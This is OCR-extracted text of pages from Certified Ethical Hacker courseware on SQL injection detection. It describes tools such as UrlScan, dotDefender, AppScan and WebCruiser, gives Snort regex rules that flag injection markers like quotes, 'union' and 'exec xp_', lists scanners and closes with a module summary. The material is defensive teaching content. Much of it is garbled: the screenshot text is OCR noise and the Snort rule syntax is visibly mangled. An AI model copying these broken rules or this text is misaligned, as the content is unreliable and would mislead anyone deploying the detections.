Exam 312-50 Certified Ethical Hacker

SQL Injection D etection Tool: M icrosoft UrlScan Filter


It restricts the types of HTTP requests that IIS processes By blocking specific HTTP requests, UrlScan helps prevent potentially harmful requests from being processed by web applications on the server

CEH
m
\
| A-P fJHI Dot1r*5^< |

Drectory Secirty | HTTP Headers 1 Custom Errcrs Servte Web 51c | Performance ISAPIFIters | Heme Dieclory

UseA1lc v E x t e n s i o o s -0 [D e n y E x tstiB io n sl s e c t i o n N. r r^ 1 xe(J r 1B5I a r e E c a n - 1 V er i y K o rn a l a t ch o n se o c c u rs a . lo v H ig h B i t C h a r a c t e r -1

The fdlo/ihg flltes are active for al Web sites on thfc computer ard *cited in Ihe orda loted bebw. Ttrse filter j ore visbfc cnl/ from ths crcpe'ty pop?/ cannot to viewed on th3 croporty poqos of irttlsidual web atos if 11 1 31 if it if 1. can o n icali: 1, allo w high bit ! . el le v dots th at 1, renavB " S e rv e r ' 1. log UrlScan a c t iv it y 1. the Url50an l o j ore tv header (: ftle 111 n o con o to m PID ( l e

12 10 11= 1

A 1 lo w D o tIn P ath * 0 R e ro v eS er ver Hea cl er 0 E u a b l a lo g g i n g 1 P erP rcc essL o g rjri n -1 1 U rlS c a n 123 lc r jj A ilo v L a tu S o a n n im 0

U R I

1. than UrlSoan v t i i load ae a lo v p r io r it y f i l l e r S e i v x ' hwatlwr

. I f RenoveServerHeader in 0, I hen Al. tern teSBrvr . ud to s p e c ify a xeplacenent lo r I I S ' s b u ilt A Itorn at oSnrvorHan^

c t f o c t iv e i f

"U scA llo vV rb s-lI Camel | A-f.l,, nefr

CCS MS J e 1/141

Co: 1

http://www.m icrosoft.com

.n * Y 1 T 0 A p*1.
Copyright by IG-GMMCil. All Rights Reserved. Reproduction is Strictly Prohibited.

S Q L I n j e c t i o n D e t e c t i o n T o o l: M i c r o s o f t U r l S c a n F ilte r
Source: http://www.microsoft.com UrlScan is a security tool that restricts the types of HTTP requests that Internet Information Services (IIS) will process. By blocking specific HTTP requests, the UrlScan security tool helps prevent potentially harmful requests from reaching the server.
21*1
Drectory 5ear*y | HTTP Header* | CustomErrors | 5erv*e | ASP.NET Web Site | Performance I5APIF#ers | Home Drectory | Doanwtt* The fakxitng f te is are active for al Web s*es on th s corrputer and executed m the order Isted below. These Nters are v*rble only from this property p9, and cannot be v>ev*ed on the property pages of ndrodual Web sfces

ASP-NET_2.0 50727.0 UrfStin 3.1

OK

C y rr i

>*>

F IG U R E 14.30: M icro so ft UrlScan Filter Screensho t

Module 14 Page 2124

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection D etection Tool: dotDefender


dotDefender is a software based Web Application Firewall It complements the network firewall, IPS and other network-based Internet security products It inspects the HTTP/HTTPS traffic for suspicious behavior It detects and blocks SQL injection attacks

CEH

h ttp://www. applicure. com

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

S Q L I n j e c t i o n D e t e c t i o n T o o l: d o t D e f e n d e r
Source: http://www.applicure.com W eb Application Security dotDefender is the software W eb Application Firewall (W AF). DotDefender boasts enterprise-class security and advanced integration capabilities. It inspects the HTTP/HTTPS traffic for suspicious behavior. It detects and blocks SQL injection attacks.

Module 14 Page 2125

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

dotDefender -[dotDefender (329 days left)\Default Security Profile (Protection)\Pattems\SQL Injection\Best Practices] hie Action View Favorites Window Help

^ jej xj

< 0dotDefender (3 2 9 d a y sle ft)

I *!IB

S U] E ve n tV ie w e r (L o c a l) In te rn e tInfo rm a b o nS e rv ic e s( O L ic e n s e G lo b a lS e ttin g s B D e fa u ltS e c u rityP ro file(P ro te c g] S e rv e rM a s k in g g] U p lo a dF o ld e rs B ) P a tte rn s B 2W h ite lis t(P e rm itte dA c c B g jP a ra n o id B 2 )E n c o d in g B 2 )B u ffe rO v e rflo w B 2SQLInjection ) U s e rD e fin e d
Best Practices

d tD efender

SQL Injection
Choose which type of SQL Injection attacks to intercept.

1 7 Suspect Single Quote (Safe)

0 0 0 D

B 2Cross-SiteScripting B 2 )C o o k ieM a n ip u la tio n w Classic SQL Comment B P a thTra v e rs a l B 2 )P ro b in g B 2 )R e m o teC o m m a n dE x e c Comments B * )C o d eIn je c tio n B idW in d o w sD ire c to rie sa n B 2 )X M LS c h e m a 1 7 Uni Union S elect Statem ent B 2 )X P a thIn je c tio n B * )X P a thC ro s sS iteS c rip ti B S ig n a tu re s 1 7 Select Version Statem ent (U s eD e fa u lt) A th e n aF TPS ite(U s eD e fa u lt)
1 7 SQL CHAR Type 1 7 SQL SYS Commands 1 7 IS_SRVROLEMEMBER followed by ( 1 7 MS SQL Specific SQL Injection

Pattern = Pattern

Q Q

J
F IG U R E 14.31: d o tD efen d er Screensho t

Module 14 Page 2126

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection D etection Tool: IBM Security AppScan


IBM provides application security and risk management solutions for mobile and web applications
R u APP SCAN : .

C EH

D 1

Is s u e s T a s k s

b it

id B a n e r ts2 2 & 2 2 H T T PR e a jo bS a r t3 7 1 S

3 4 S a a j *tun

#9 f 1 : ., j

DS

'jD c x oL c a r a e

O a a ib a ic a rrv ?* k x

http://www.ibm .com Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

S Q L I n j e c t i o n D e t e c t i o n T o o l: I B M S e c u r i t y A p p S c a n
Source: http://www.ibm.com IBM Security AppScan Standard detects, analyzes, and remediates web application

vulnerabilities to help prevent security breaches and enable compliance. It delivers the expertise and critical application lifecycle management and security platform integrations necessary to empower enterprises to not just identify application vulnerabilities but also reduce overall application risk.

Module 14 Page 2127

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Rn u lt APP SCAN x m - IBM <

Scan

o o j tm y P 1 4o
Pause Manual Eplc*e Configuration Report Find Scan 109

IM

IM

(n o

look

tM i

gowerTools

e0
Data tssues

Tasks

1 2
4 ^

Sunty O H 9 h * ' O o a n
Aranged & > Save? Oaacantog

8 a u aX.. 1 f *m ,

d/(D

retp

demo testers net ()4)

A 34 Security ls*ye < 124 vanar*^ tor Hip demc *s4/e net' t 41 Cross-Site Scopting 4 p O DOM Bated Crow-Sue Scnptvtg 3) p y Poison Null Byte Windows Fdas Retrieval SQL njection ' O http.Vdemoteslf we.net/subscnbeasp # MEmatl Cros1-5< te Requesl Forgery Director, Idling |i) Imfc Injection (facilitates Cross S*e Request Forgery) Open Redirect (2) Phishing Through Frames (2) Database Error Pattern Found (2) Email Address Pattern Found in Parameter Value Hdden Directory Detected Microsoft ASP NET Debugging Enabled 2) Missmg HttpOnly Attribute m SHO" Cook* Application Error 2) Application Test Script Detected 1 1 t JH Email Address Pattern Found Possible Server Path Disclosure Pattern Found

SQL Injection
N ft povjM r to wre*. mnrfcfy or ontm-. and y> HttpV/demo testfirc-net/subscribe.aspa tatEmail

O" * 9 <
O p <)1(

!O aspnet.efcent fl O baak )4(

O> * ()

JO comment asp* 5 1 jfl defaultas) drsdaimer htm :4( ^ feedback p : ( -jj Ngh^Kd_1 r*ve$tmen$.htm j notfcund asp saarchasp 1 3 ( jg securtyJtm servererroratp ) * ! ( jg subtcrbejspi f7( ^ tubicrbtnrf J survey.Questions*spa

1 (

Test Response
cdiv 13*.*wrapper* 3ty:e*w1dth: ft%;* cdie c:a-arr* tyie-v 1tfth: #%;"> cbl>An Error la Ocearrt4(^t> <IU>S J B 1ry:</U>
< p><t x xpas 1d*_eti0_C< * te a t ta lc o r c a a iitM l. e o ' </apaax/bx/p> < ii> Erto : Nt1119e:</U>

tV S I vtf)

t1 0 1

'!

: Ib lS

1 arv*>Syetax r r r c r : 1 la f r y express!:

o Ganwta 22C.-22?

a* HTTP Raojaan Srrt 971*

\y1D

JL >

t Dane Lear

j i u bo tcamr^ Sd corH*1 *c

F IG U R E 14.32: IB M Secu rity A ppScan Screensho t

Module 14 Page 2128

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection D etection Tool: W ebCruiser


J WebCruiser is a web vulnerability scanner that allows you to scan for vulnerabilities such as SQL injection, crosssite scripting, XPath injection, etc.

WebCruiser -Web Vulnerability Scanner Enterprise Edition


Took ^ uJ View Configuration Scsnw Hdp H SQL XSS , Resend ^Cookie Report o >Setting 0 Browser

I
Scan Site GET - Q

Scar URL Gj Q

htrp:.'.'1a002/reax!me' Scan Current Site Stan Current URL Scan Multi-Site Reset/Clear Scannei Import

Export

9 -R e d H c n e
& Reeer^Tod Q CookieTool . C o d e T o i StongTool .n. VtoMjt

:D O _ D d a te d :1 N G _ C l.C .3 0 1 rin js W e b R e s x rc ea c P d L ls Z W y r r f1 ? b ttcK Q s o A M r3 R D 9 0 tx w o X w K )a R a X P R T V j1 P b A W b fT h O M a u frO H O jIW*0 G


/ / fc R e * a .ra td L o g in *p it - COM v

j kjjenripjyia

f X r / * K X * e
io jovsco ITc

f lU oR ,* *
flb c u

1.3 3 1 3

>1
UR./Rr URL

!
tayWord/AotonURL

<

O tto/ / 1 0 0 0 ? / , R o d H fc n o / lo B ina s p t'D u tto n ? (. T o * tB o x ? 9 S t r t c

OEQEEBQ

V J n o o b lC Y ^ ;e C u p yU R L Tc C iip B u jiJ 5 0 ( iN irC TlO NP O C D tftV u ln e ra b ility

Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

S Q L I n j e c t i o n D e t e c t i o n T o o l: W e b C r u i s e r
Source: http://sec4app.com

WebCruiser is a web vulnerability scanner that allows you to scan any website for web vulnerabilities such as SQL injection, cross-site scripting, XPath injection, etc. Features: Q Vulnerability Scanner: SQL injection, cross-site scripting, XPath injection, etc. Q SQL Injection Scanner Q SQL Injection Tool: GET/Post/Cookie Injection POC (Proof of Concept) Q SQL Injection for SQL Server, MySQL, DB2, Oracle, etc.

Module 14 Page 2129

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

WebCruiser - Web Vulnerability Scanner Enterprise Edition


File J URL: Tools View Configuration 3 Help SQL ^XSS ^Resend Cookie
bBq

J
Q Scan Site | GET ^ * Q Scan URL Q Q

B r o w s e r Q Scanner http://10.0.0.2/realhome/

Report

^ S e tt in g

WebBrowser Scan Current Site Scan Current URL Scan Multi-Site Reset/Clear Scanner Import Export Viinerab*tyScanner jqueiytipsy js 3 POQProof Of Concep L. DD_belatedPNG_0.0 8a mrjs 3 SQL Injection E3 Real Home j ~ Cro*8 S*e Scriptin [ Web Resource axd?d UsZWynrfl2bbhcKOspArMr3RD90bowxoXwl03RaXPwR nq1 PbAWpf7hOM9iuOkgHOy1lHVWV OqG _ ft AdministrationEntr. j- Web Resource axd ^ SystemTool 1 Login aspx | Resend Tool i index.aspx : E CookieTooJ _ CodeTool ! jquery triggerjs & = StrmgTool E coda-slider [ ^ Settings jquey.scrolTo-1.3.3js fdg Report - About J2 L

81

<:

URL/Refer URL

Parameter TextB0x29 TextB0*29

Q lhttp://10.002/real1ome/Logr aspxAButton2 Lo
O http://10.002/RealHome/logri aspx/ 'Bu(lon2 L

Stmg Fffl String

Type

KeyWord/Action URL

Vulnerability L INJECT

Copy URL To ClipBoard SQL INJECTION POC Delete Vulnerability

< n

HTTP Thread: 0 HTTP Thread: 0

F IG U R E 14.33: IB M Secu rity A ppScan Screensho t

Module 14 Page 2130

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Snort Rule to D etect SQL Injection Attacks


/ (\ % 2 7 ) | ( \ ) | ( \ - \ - ) | (\ % 2 3 ) | ( # ) / i x

f c ii ?

/ e x e c (\ s | \ + ) + (s |x )p \ w + / ix

/ ( < \ % 2 7 ) | ( \ 1) ) u n i o n / i x

/ \ w * < < \ % 2 7 ) | ( \ ' ) ) ( ( \ % 6 F ) | o | ( \ % 4 F ) ) ( ( \% 7 2 ) | r | ( \ %5 2 ) ) /

ix

a le r t -

tc p

$EXTER NAL_N ET

any

>

$HTTP_SERVERS

$HTTP_PORTS

(m s g :" S Q L

In je c t io n

P a r a n o id " ; c la s s t y p e : W e b - a p p lic a tio n - a tt a c k ; s id :9 0 9 9 ; rev:5;)

f lo w : to _ s e r v e r , e s t a b lis h e d ;u r ic o n t e n t: . p i" ; p c r e : " / ( \ % 2 7 ) | ( V ) | ( \ - \ ) | (% 2 3 ) | ( # ) / i ;

http://www .snort.org Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

S n o r t R u l e to D e t e c t S Q L I n j e c t i o n A t t a c k s
Source: http://www.snort.org Snort rules are very useful in detecting SQL injections. Apart from detecting SQL injection attacks, Snort also sends an alert or logs the intrusion attempt. Snort uses signature, protocol-, and anomaly-based detection methods. Block these expressions in SNORT
/ (\ % 2 7 ) | ( V ) | (\ - \ - ) | ( \% 2 3 ) | ( # ) / i x / e x e c (\ s |\ + )+ (s |x )p \ w + / ix / ( ( \ % 2 7 ) | ( \ ' ) ) u n io n / ix / \ w * ( (\ % 2 7 ) | ( \ ' ) ) ( (\ % 6 F ) |o | ( \ % 4 F ) ) ( (\ % 7 2 ) | r | ( \ % 5 2 ) ) / i x a le r t tc p $EXTERN A L_N ET any -> $ H TTP_SERVERS $ H TTP_PO RTS (m s g :"S Q L In je c tio n P a r a n o id "; f l o w : t o _ s e r v e r , e s t a b l i s h e d ; u r i c o n t e n t . p i " ; p c r e : " / (\%27) | ( V ) | (\-\) | (% 2 3 ) | ( # ) / i " ; c l a s s t y p e : W e b - a p p l i c a t i o n - a t t a c k ; s i d : 9 0 9 9 ; r e v : 5 ; )

Module 14 Page 2131

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Detection Tools


HP Weblnspect
http://w w w .hpenterprisesecurity.com h ttp://w w w .greensql.com

CEH

GreenSQL Database Security

SQLDict
h ttp ://n tse cu rity.r

Microsoft Code Analysis Tool .NET (CAT.NET)


http ://w w w .m icro so ft.co m

HP Scrawlr
https ://h30406. www3. hp.com

NGS SQuirreL Vulnerability Scanners


h ttp://w w w .nccgroup.com

SQL Block Monitor


h ttp ://sq l-to ols.n e t

W SSA W eb Site Security Scanning Service


http://w w w .beyondsecurity.com

/ v

Acunetix W eb Vulnerability Scanner


h ttp ://w w w . acunetix. com

N-Stalker W eb Application Security Scanner


h ttp ://w w w . nstalker, com

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL I n j e c ti o n D e te c tio n T o o ls
\
The following are some more SQL injection detection tools that can be used for detecting SQL injection vulnerabilities: 0 0 0 0 HP Weblnspect available at http://www.hpenterprisesecurity.com SQLDict available at http://ntsecuritv.nu HP Scrawlr available at https://h30406.www3.hp.com SQL Block Monitor available at http://sql-tools.net

Acunetix W eb Vulnerability Scanner available at http://www.acunetix.com 0 0 0 0 0 GreenSQL Database Security available at http://www.greensql.com Microsoft Code Analysis Tool .NET (CAT.NET) available at http://www.microsoft.com NGS SQuirreL Vulnerability Scanners available at http://www.nccgroup.com W SSA - W eb Site Security Scanning Service available at http://www.beyondsecurity.com N-Stalker W eb Application Security Scanner available at http://www.nstalker.com

Module 14 Page 2132

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

M o d u le S u m m a ry

SQL injection is the most com m on website vulnerability on the Internet that takes advantage of non-validated input vulnerabilities to pass SQL com mands through a W e b application for execution by a backend database

Threats of SQL injection include authentication bypass, information disclosure, and data integrity and availability com prom ise

Database admins and w eb application developers need to follow a methodological approach to detect SQL injection vulnerabilities in w eb infrastructure that includes m anual testing, function testing, and fuzzing

SQL injection is broadly categorized as simple and blind; simple SQL injection is further categorized as UN IO N and error-based SQL injection

Pen testers and attackers need to follow a com prehensive SQL injection m ethodology and use autom ated tools such as BSQ LHacker for successful injection attacks

M ajo r SQ L injection counterm easures involve input data validation, error message suppression or customization, proper DB access privilege m anagem ent, and isolation of databases from underlying OS

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

M o d u le S u m m a ry
9 SQL injection is the most common website vulnerability on the Internet

that takes advantage of non-validated input vulnerabilities to pass SQL commands through a web application for execution by a backend database. Threats of SQL injection include authentication bypass, information disclosure, and data integrity and availability compromise. Q Database admins and web application developers need to follow a methodological approach to detect SQL injection vulnerabilities in web infrastructure that includes manual testing, function testing, and fuzzing. Q SQL injection is broadly categorized as simple and blind; simple SQL injection is further categorized as UNION and error-based SQL injection. e Pen testers and attackers need to follow a comprehensive SQL injection methodology and use automated tools such as BSQLHacker for successful injection attacks. 9 Major SQL injection countermeasures involve input data validation, error message suppression or customization, proper DB access privilege management, and isolation of databases from the underlying OS.

Module 14 Page 2133

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Você também pode gostar